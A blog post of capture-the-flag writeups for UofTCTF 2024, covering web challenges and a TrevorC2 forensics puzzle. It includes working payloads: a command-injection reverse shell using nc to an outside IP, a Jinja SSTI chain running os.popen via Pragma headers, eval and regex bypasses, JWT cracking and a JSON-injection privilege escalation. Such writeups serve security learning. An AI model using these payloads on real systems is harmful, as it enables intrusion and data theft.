Home UofTCTF 2024 Challenge Writeups
Post
Cancel

UofTCTF 2024 Challenge Writeups

Writeups

web/Voice Changer

Sourceless web challenge.

Just a file upload with a pitch option. I intercepted the HTTP request and modified the pitch value.

1
2
3
4
5
6
7
8
9
10
11
12
POST /upload HTTP/1.1

------WebKitFormBoundaryHis6nSAKTnz412sw
Content-Disposition: form-data; name="pitch"

randomness
------WebKitFormBoundaryHis6nSAKTnz412sw
Content-Disposition: form-data; name="input-file"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryHis6nSAKTnz412sw--

The “randomness” value is reflected in our output from a ffmpeg command. I tried command injection and noticed shell errors were being printed.

I managed to get a reverse shell by passing a" ||nc 54.174.18.49 3000 -e sh; and found the flag located at /secret.txt location.

uoftctf{Y0UR Pitch IS 70O H!9H}

web/The Varsity

We have a javascript app with source this time. We can identify that the flag is located in the article array as part of the last element:

1
2
3
4
5
6
7
8
9
10
11
const articles = [
  {
    "title": "Pioneering the Future: UofT's Revolutionary AI Research",
    "content": "The University of Toronto continues to lead groundbreaking research in artificial intelligence, with its latest project aiming to develop algorithms that can understand emotions in text. Spearheaded by a team of international students, this initiative promises to revolutionize how machines interact with human language."
  },
  ...
  {
    title: "UofT Hosts its 2nd Inaugural Capture the Flag Event",
    content: "Your flag is: " + FLAG,
  },
];

So we just need to read the article which contains this flag. I notice when trying to read this article I get blocked by the following line:

1
2
3
4
5
if (decoded.subscription !== "premium" && issue >= 9) {
        return res
          .status(403)
          .json({ message: "Please subscribe to access this issue" });
      }

This is because it has id of 9. We need to pass in a value which is NOT >= 9 but will read the final element of the array when it hits the following line:

1
return res.json(articles[issue]);

My initial thought was to pass in -1 because in Python that can be used to access the last element of a list. Then I remembered that unfortunately this was written in Javascript!

But one line peaked my interest which sat after the numerical check but before the return:

1
issue = parseInt(issue);

Can we pass a value which is considered NOT >= 9 but when passed into parseInt() returns 9? Well, it turns out that any letters appended to javascript’s parseInt() are truncated.

1
2
3
POST /article HTTP/1.1

{"issue":"9a"}

And we get our flag.

uoftctf{w31rd_b3h4v10r_0f_parseInt()!}

web/No Code

This time we just get a standalone Python source file. We can see the application is running Flask and there is only one endpoint to interact with.

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/execute', methods=['POST'])
def execute_code():
    code = request.form.get('code', '')
    if re.match(".*[\x20-\x7E]+.*", code):
        return jsonify({"output": "jk lmao no code"}), 403
    result = ""
    try:
        result = eval(code)
    except Exception as e:
        result = str(e)

    return jsonify({"output": result}), 200

Okay, so we obviously need to find a way to hit the eval and execute our code. At first, I assumed this was a PyJail challenge but since it was extremely strict I started to think there had to be a means to bypass the regex check.

Then I recalled that re.match() only matches the first line. So, by passing in a newline first we can inject our payload to be eval’d afterwards.

1
2
3
4
5
POST /execute HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

code=%0aopen('flag.txt').read()

Don’t forget your Content-Type header when creating the request! I ended up just using the open call and guessing the flag name instead of any fancy RCE approaches.

uoftctf{r3g3x_3p1c_f41L_XDDD}

web/Guestbook

Someone else on the team solved this so they can write it up.

web/My First App

No source for this challenge.

With the only option being to set a username it seemed obvious this would have to be some sort of injection attack. I tried immediately sending a SSTI payload but was blocked by a client-side pattern match. I removed the client-side check and sent the payload but was greeted with the error Username must be alphanumeric. which seems pretty strict.

Without much else to go on, I checked the cookies and noticed it was JWT. I ran jwt_tool on this but got nothing. I also tried cracking the secret key with a basic wordlist to no avail.

So I decided to load my JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IlVTRVIifQ.01eSew74pkzoX1XDBW1l4AuU1Lw_VV59WDc86GY_mCc into Hashcat and run rockyou.txt on it.

This recovered the JWT secret key torontobluejays pretty fast.

Next I decided to sign a username containing a SSTI payload {{7*7}} and got the elusive 49. I immediately threw in a payload and hit the filter.

They seemed to be blocking a lot of different things. The most important thing was figuring out which characters are blocked. Firstly, there are no square brackets which means we need to use dot notation to access most attributes. We also have no underscores which means we cannot use strings such as __globals__ or __class__ and so on. In fact, we don’t even have quotations to instantiate strings.

I initially found a way to sneak in strings via parameters but passing any parameters at all hits an entirely separate block. I also found a way to sneak in parameters via POST form parameters but sending a POST request would not hit the Flask endpoint logic. I settled on finding a suitable HTTP header to sneak strings through.

The header could not contain an underscore though and so the most suitable seemed to be Pragma. If we send duplicate pragma headers then it becomes an array and we can access the offsets using dot notation request.pragma.0 so I settled on using the following lipsum payload:

1
{{lipsum|attr("__globals__")|attr("__getitem__")|attr("__builtins__")|attr("__import__")|attr("os")|attr("popen")|attr("cat flag.txt")|attr("read")()}}

Which when replaced with our pragma headers becomes:

1
{{lipsum|attr(request.pragma.0)|attr(request.pragma.1)(request.pragma.2)|attr(request.pragma.1)(request.pragma.3)(request.pragma.4)|attr(request.pragma.5)(request.pragma.6)|attr(request.pragma.7)()}}

And our HTTP headers will include:

1
2
3
4
5
6
7
8
Pragma: __globals__
Pragma: __getitem__
Pragma: __builtins__
Pragma: __import__
Pragma: os
Pragma: popen
Pragma: cat flag.txt
Pragma: read

And that got us the second solve on this challenge!

uoftctf{That_firewall_salesperson_scammed_me_:(}

web/Jay’s Bank

So we are given a javascript source with a mysql database. Firstly, we should check the routes and aside from the typical login/register we have a /profile PUT endpoint which allows us to modify our user account.

1
2
3
4
5
6
7
8
9
10
await db.updateData(
      username,
      db.convert({
        phone,
        credit_card,
        secret_question,
        secret_answer,
        role: "user",
      })
    );

It will then update our data in the database. Notice that inside of the call to db.updateData() there is a call to db.convert() so let’s pull up the source for that:

1
2
3
4
5
6
7
8
convert(o) {
    console.log(`{${Object.entries(o).map(([k, v]) => 
      `"${k}": ${typeof v === "object" && v !== null ? convert(v) : `"${v}"`}`
    ).join(", ")}}`.toLowerCase());
    return `{${Object.entries(o).map(([k, v]) => 
      `"${k}": ${typeof v === "object" && v !== null ? convert(v) : `"${v}"`}`
    ).join(", ")}}`.toLowerCase();
  }

Immediately I guessed this would be prototype pollution as it is a javascript application (where such attacks are common) and we are seeing some references to Object but after further checks I didn’t really see any potential to overwrite that. Let’s just analyze what this method does.

It takes an object o and recursively creates a string representation of this object. Normally I would expect just a call to JSON.stringify so this looked very suspicious. I noticed that if a value contains a quotation (") then it will break out of the value and allow us to add additional parameters. Normally, a call to update our profile with a secret_answer set to abc will result in the following object being saved:

1
{"phone": "1111111111", "credit_card": "1111111111111111", "secret_question": "aaa", "secret_answer": "abc", "role": "user"}

But if we instead set our secret_answerto abc", "role": "admin then it will become:

1
{"phone": "1111111111", "credit_card": "1111111111111111", "secret_question": "aaa", "secret_answer": "a", "role": "admin", "role": "user"}

This however, will not work because JSON.parse() will take the last value of role to be true, so it will overwrite our injected "role": "admin" value.

We can bypass this though by looking at the database specification.

1
2
3
4
5
6
7
CREATE TABLE users (
    id INT NOT NULL AUTO_INCREMENT,
    username NVARCHAR(255) NOT NULL,
    password NVARCHAR(255) NOT NULL,
    data NVARCHAR(255) NOT NULL,
    PRIMARY KEY (id)
);

Notice that the field we are storing to (data) is maximum length of 255. If we have data greater in length than this, then it will be truncated and we can slice off the part which defines our role as user! Unfortunately, there are length checks on phone (must be 10) and credit_card (must be 16) and these both must be numbers so we can’t do much there. Under secret_question and secret_answer we are also limited to just 45 each. In total, that is around 150 characters when including all the curly braces and quotation.

You will however, notice that there is a call to String.toLowerCase() on the convert function. This is great, because there is one single character in javascript (İ) which has a length of 1 but after passing through the String.toLowerCase() function its length becomes 2.

So we PUT /profile with the following payload:

1
2
3
4
5
6
{
    "phone":"1111111111",
    "credit_card":"1111111111111111",
    "secret_question":"İİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİ",
    "secret_answer":"İİİİİİİİİİİİİİİİİİİİİİİİ\",\"role\":\"admin\"}",
    "current_password":";)"}

And we log back in and fetch our flag! Hope you enjoyed the writeups.

forensics/Illusion Writeup

We’re given a PCAP file with a lot of traffic to and from one IP address. Looking into it, its mainly http traffic, with some calls to a cloned Google.com page, and a get request for an image. The requests to the images caught my interest, as they don’t return any image data, just a 200OK.

Wireshark traffic The GUID string looks like base64, but doesn’t decode to anything.

After a bit of Googling I came across this Medium blog talking about the trevorC2 Framework. In this post it mentions how the C2 framework will clone a webpage like Google.com, then it will send the C2 server data through the /images?guid parameter. Heres the config for the C2 Server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
URL = ("https://www.google.com")  # URL to clone to house a legitimate website
USER_AGENT = ("User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko")
ROOT_PATH_QUERY = ("/")
# THIS FLAG IS WHERE THE CLIENT WILL SUBMIT VIA URL AND QUERY STRING GET PARAMETER
SITE_PATH_QUERY = ("/images")
# THIS IS THE QUERY STRING PARAMETER USED
QUERY_STRING = ("guid=")
# THIS IS THE NAME USED IN THE COOKIE FOR THE COMMUNICATION SESSIONID
COOKIE_SESSIONID_STRING = ("sessionid")
# THIS IS THE LENGTH OF THE COMMUNICATION SESSIONID
COOKIE_SESSIONID_LENGTH = (15)
# STUB FOR DATA - THIS IS USED TO SLIP DATA INTO THE SITE, WANT TO CHANGE THIS SO ITS NOT STATIC
STUB = ("oldcss=")
# Turn to True for SSL support
SSL = False
CERT_FILE = ("")  # Your Certificate for SSL
# THIS IS OUR ENCRYPTION KEY - THIS NEEDS TO BE THE SAME ON BOTH SERVER AND CLIENT FOR APPROPRIATE DECRYPTION. RECOMMEND CHANGING THIS FROM THE DEFAULT KEY
CIPHER = ("Tr3v0rC2R0x@nd1s@w350m3#TrevorForget")
# Response for website when browsing directories that do not exist if directly going to SITE_PATH_QUERY
NOTFOUND=("Page not found.")
# Redirect the victim if browsing website to the cloned URL instead of presenting it. ON/OFF
REDIRECT =("ON")

This all matches what we found in the PCAP. So it’s safe to assume its using the TrevorC2 to communicate.

Looking at the source code we can see that to decode the transferred data we need to base64 decode it, then decrypt the AES.

1
2
3
4
5
6
7
8
9
def __init__(self, key):
        self.bs = 16
        self.key = hashlib.sha256(AESCipher.str_to_bytes(key)).digest()
...
def decrypt(self, enc):
        enc = base64.b64decode(enc)
        iv = enc[:AES.block_size]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8')

From this snippet we know that the IV is the first 16 bytes of the data, and the cipher is the sha256 of the key, which was Tr3v0rC2R0x@nd1s@w350m3#TrevorForget.

Using this information we can use cyberchef to make a recipe to decode the GUID data, we had to use 2 Base64 decodes rather than one. I’m assuming this is from the client base64 encoding it to send over HTTP. However, the flag is not in any of the exfil data. We do find that a flag.txt was created on the analysts desktop. As well as other traffic showing that there was a reverse shell on the system. CyberchefRecipe

The next step was the decode the instructions from the C2, to see if any of the commands contain the flag. The instructions from the C2 are taken from a commented stub at the bottom of the cloned Google pages. oldcss tag

The C2 Instructions are encoded similar to the the guid data, but there is only 1 base64 encoding. There’s a lot of requests with the oldcss stub, so I exported all the HTML objects, and then used grep to find all the matches. Grepping oldcss

The longest string caught my attention so I tried that first, and got the flag. getting the flag uoftctf{Tr3V0r_C2_1s_H4rd_T0_D3t3c7}

This post is licensed under CC BY 4.0 by the author.